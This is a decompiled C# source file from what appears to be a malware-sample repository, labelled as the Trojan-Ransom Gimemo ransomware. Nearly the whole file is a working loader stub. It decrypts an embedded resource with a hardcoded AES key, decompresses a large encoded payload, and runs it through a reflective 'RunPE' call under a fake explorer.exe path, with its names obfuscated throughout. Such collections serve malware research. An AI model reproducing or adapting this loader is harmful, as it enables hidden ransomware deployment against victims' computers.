MalwareSourceCode/MSIL/Trojan-Ransom/Win32/G/Trojan-Ransom.Win32.Gimemo.ayt-624a52079bf1703bcd3bcc9d2d3716b6126fd05655e25289d19142f9aae02eb5/SysDriver/Driver.cs

96 lines
263 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: SysDriver.Driver
// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7BE4E538-8555-4C2E-974B-99E556F5462C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Ransom.Win32.Gimemo.ayt-624a52079bf1703bcd3bcc9d2d3716b6126fd05655e25289d19142f9aae02eb5.exe
using SevenZip.Compression.LZMA;
using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
namespace SysDriver
{
internal class Driver
{
private static void Main(string[] args)
{
Assembly t7RZi35DrBg89Wsy4XYz2f6G4Cm = Assembly.Load(Driver.Jm5d3M2Hix8SGz76DfPw94Qty8FR(Driver.Kw3e4P6Srq9LTm87Mtp5J("temp.resource"), "p5FTx67YkDn9t8ZBe42M", "q6Q7Mcb8LKf5k9T4Co", "SHA1", 2, "Pq4w7Y3Gdc6L2Rfp", 128));
string path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\explorer.exe";
byte[] numArray = SevenZipHelper.Decompress(Driver.Jm5d3M2Hix8SGz76DfPw94Qty8FR("WHBtiaB3f7VFiV03r+5dV5uqMXEyj3duAcE6mSbUzkniObm+MIZaQXcBhJFrw2N2Tos5Oetw40TM+4e3EdhQg4faa/EO9xPBkTvI9VFVJU8NBZ/t3ZaOTFODcJJwOvHkdcbiTpq4Tmr8s390u6s6yiM0+NIrgYCE8fVabFRJvTojajJjXu7qlse3I7KnIni9gpQSTwh8EwvxxxCa3FZ1kt/a3BNxFTl0vdp/9DVO9dK4ViWstt7tzNR0pyd3saXvRTwvMXN3gUctCX8qvTBAKRrZzah6BvDIi99ydM+dC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AABVieWD7AiLDSBAQACFyXQCycPHBSBAQAABAAAAyeuBkI1MJASD5PD/cfxVieVWU1GD7GzoyP///+hHAwAAicONRaSJBCToQgMAAIPsBIXbdG8PthOA+gkPhKcAAACA+iAPhJ4AAACA+iJ0OYD6CYnQdEaA+iAPhJUAAACE0o12AHUQ6zw8IA+EhAAAAITAZpB0LoPDAQ+2AzwJdejrGmaQPCJ0Co
Driver.p2TNw4z6X9Mis8DBt7b5("RPEMETHOD", "Run", t7RZi35DrBg89Wsy4XYz2f6G4Cm, new object[2]
{
(object) numArray,
(object) path
});
}
private static string Kw3e4P6Srq9LTm87Mtp5J(string Ax6f9ZLy4j8B) => new StreamReader(Assembly.GetExecutingAssembly().GetManifestResourceStream("temp.resource")).ReadToEnd();
private static bool p2TNw4z6X9Mis8DBt7b5(
string y6J7TpEj42Gbo9A3HcSf8i5B4,
string Cc4j5WYm67GdKa92ToHg8e3R8,
Assembly t7RZi35DrBg89Wsy4XYz2f6G4Cm,
object[] n8ZAf75HzKk42RwFb9q6JQc3)
{
try
{
Type type = t7RZi35DrBg89Wsy4XYz2f6G4Cm.GetType(y6J7TpEj42Gbo9A3HcSf8i5B4);
if ((object) type != null)
{
MethodInfo method = type.GetMethod(Cc4j5WYm67GdKa92ToHg8e3R8);
if ((object) method != null)
return (bool) method.Invoke((object) null, n8ZAf75HzKk42RwFb9q6JQc3);
}
}
catch
{
return false;
}
return false;
}
public static byte[] Jm5d3M2Hix8SGz76DfPw94Qty8FR(
string Kw3e4P6Srq9LTm87Mtp5J,
string Nw42TtCc6o5WHr3s7Z9Rjy8M3EzPm5,
string Hi97TeDy6k4PGo,
string p2TNw4z6X9Mis8DBt7b5,
int Ax6f9ZLy4j8B,
string Ff8t6QMj7w3ENg95JxHn2b4TPq94Dy,
int b5GSe6o4Z2Rqp3P7Wrk9B8)
{
try
{
byte[] bytes1 = Encoding.ASCII.GetBytes(Ff8t6QMj7w3ENg95JxHn2b4TPq94Dy);
byte[] bytes2 = Encoding.ASCII.GetBytes(Hi97TeDy6k4PGo);
byte[] buffer = Convert.FromBase64String(Kw3e4P6Srq9LTm87Mtp5J);
byte[] bytes3 = new PasswordDeriveBytes(Nw42TtCc6o5WHr3s7Z9Rjy8M3EzPm5, bytes2, p2TNw4z6X9Mis8DBt7b5, Ax6f9ZLy4j8B).GetBytes(b5GSe6o4Z2Rqp3P7Wrk9B8 / 8);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Mode = CipherMode.CBC;
byte[] numArray = new byte[buffer.Length];
int count = 0;
using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1))
{
using (MemoryStream memoryStream = new MemoryStream(buffer))
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read))
{
count = cryptoStream.Read(numArray, 0, numArray.Length);
memoryStream.Close();
cryptoStream.Close();
}
}
}
return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count));
}
catch
{
return (byte[]) null;
}
}
}
}